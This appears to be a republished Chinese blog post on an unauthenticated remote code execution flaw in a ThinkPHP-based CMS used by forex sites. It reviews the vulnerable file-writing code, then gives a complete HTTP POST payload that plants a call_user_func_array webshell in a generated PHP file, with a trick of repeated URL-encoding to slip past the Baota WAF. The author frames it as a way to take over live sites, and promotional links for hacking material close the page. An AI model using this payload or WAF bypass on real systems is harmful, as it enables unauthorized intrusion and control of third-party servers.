实战 | 某外汇常用CMS通用未授权RCE
2022-12-10 12:34:35 Author: 白帽子左一(查看原文) 阅读量:39 收藏

扫码领资料

获网安教程

免费&进群

某妞子发给我的一个cms,有各种注入,但是网上大部分站点都是用宝塔搭建的,并且开了waf的功能,索性审一个rce直接日下。

一般程序是基于ThinkPHP3.1.3进行二次开发的,直接根据特征从Github找了个源代码下来审,注入就不说了,直接看RCE:

Admin/Lib/Action/typeAction.class.php

public function add_save(){        $data=pg('data');        M('classify_type')->data($data)->add();         $sql='        CREATE TABLE index_'.$data['table_name'].' (          '.$data['table_name'].'_id int(10) NOT NULL AUTO_INCREMENT,          type_id int(10) NOT NULL,          date int(10) NOT NULL,          title varchar(99) NOT NULL,          keywords varchar(99) NOT NULL,          description varchar(10) NOT NULL,          version_id int(10) NOT NULL,          PRIMARY KEY ('.$data['table_name'].'_id)        ) ENGINE=InnoDB DEFAULT CHARSET=utf8;';        M()->query($sql);         if(!file_exists('Index/Lib/Action/'.$data['table_name'].'Action.class.php'))        {            copy('Index/Lib/Action/messageAction.class.php','Index/Lib/Action/'.$data['table_name'].'Action.class.php');            $content=read_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php');            $content=str_replace('messageAction',$data['table_name'].'Action',$content);            write_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php',$content);            copy_dir('Index/Tpl/message','Index/Tpl/'.$data['table_name']);        }         echo '操作成功';    }

直接从参数获取data数组,没有任何检验/过滤/认证,后面用了write_file函数,跟进去看看

ThinkPHP/Common/common.php

function write_file($path,$data){    creat_file($path);    $fp=fopen($path,"w+");    if(!fwrite($fp,$data))    {        return false;    }    else    {        fclose($fp);        return true;    }}

很简单的一个函数,根据参数直接写文件,再回头看看刚才的代码:

write_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php',$content);

文件名是php格式,如果$content可控,那就直接RCE了,$content内容是复制Index/Lib/Action/messageAction.class.php的,然后根据指定参数进行替换,先看下代码:

Index/Lib/Action/messageAction.class.php

<?phpclass messageAction extends Action {    public function index(){        $this->display();    }     public function details(){        $this->display();    }    public function add_save(){        $data = pg('data');        $type_id = $data['type_id'];        $classify_id = pg('classify_id');        $table_name = M('classify_type')->where(array('type_id' => $type_id))->getField('table_name');        $content = M($table_name)->where(array($table_name.'_id' => $content_id))->select();        $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 4))->select();        foreach($list as $k => $v){            $data[$v['field_name']]=serialize($data[$v['field_name']]);        }         $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 7))->select();        foreach($list as $k => $v){            if(!empty($_FILES[$v['field_name']]['tmp_name'])){                $data[$v['field_name']] = $this->up_file(array('name' => $v['field_name']));            }        }         $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 8))->select();        foreach($list as $k => $v)        {            $data[$v['field_name']]=strtotime($data[$v['field_name']]);        }         $id = M($table_name)->data($data)->add();        M('relevance')->data(array('classify_id'=> $classify_id, 'content_id' => $id, 'main_id' => 1, 'type_id' => $type_id))->add();        $this->success('提交成功');    }}

也就是第二行的messageAction会替换成参数指定的,但是文件名同时也会被修改,所以很多Payload在这边是没办法使用的,然后还有一个宝塔WAF要绕过,直接给Payload:

POST /admin.php?m=type&a=add_save HTTP/1.1Host: www.xxx.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: */*Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8Content-Length: 205Connection: closePragma: no-cacheCache-Control: no-cache data%5Bdate%5D=1606456937&data%5Btype_name%5D=123&data%5Btable_name%5D=abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class &data%5Bpage_name%5D=index

大部分的函数在流量就被拦截了,但是他忽略了urlencode,只需要多弄几个urlencode就可以绕过流量了。

最后建立的文件长这样:

http://www.xxx.com/Index/Lib/Action/abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class Action.class.php
<?phpclass abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class Action extends Action {    public function index(){        $this->display();    }     public function details(){        $this->display();    }    public function add_save(){        $data = pg('data');        $type_id = $data['type_id'];        $classify_id = pg('classify_id');        $table_name = M('classify_type')->where(array('type_id' => $type_id))->getField('table_name');        $content = M($table_name)->where(array($table_name.'_id' => $content_id))->select();        $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 4))->select();        foreach($list as $k => $v){            $data[$v['field_name']]=serialize($data[$v['field_name']]);        }         $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 7))->select();        foreach($list as $k => $v){            if(!empty($_FILES[$v['field_name']]['tmp_name'])){                $data[$v['field_name']] = $this->up_file(array('name' => $v['field_name']));            }        }         $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 8))->select();        foreach($list as $k => $v)        {            $data[$v['field_name']]=strtotime($data[$v['field_name']]);        }         $id = M($table_name)->data($data)->add();        M('relevance')->data(array('classify_id'=> $classify_id, 'content_id' => $id, 'main_id' => 1, 'type_id' => $type_id))->add();        $this->success('提交成功');    }}
作者:hzllaga来源:https://wtfsec.org/posts/%e6%9f%90%e5%a4%96%e6%b1%87%e5%b8%b8%e7%94%a8cms%e9%80%9a%e7%94%a8%e6%9c%aa%e6%8e%88%e6%9d%83rce/

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习

hack视频资料及工具

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧

文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247592024&idx=1&sn=653152c29783072641d1c2908c8d327d&chksm=ebeb2175dc9ca863ea4cbb153a330ebe4ac0385498ab147e9a267d4e50510ee3f6228f3f2151#rd
如有侵权请联系:admin#unsafe.sh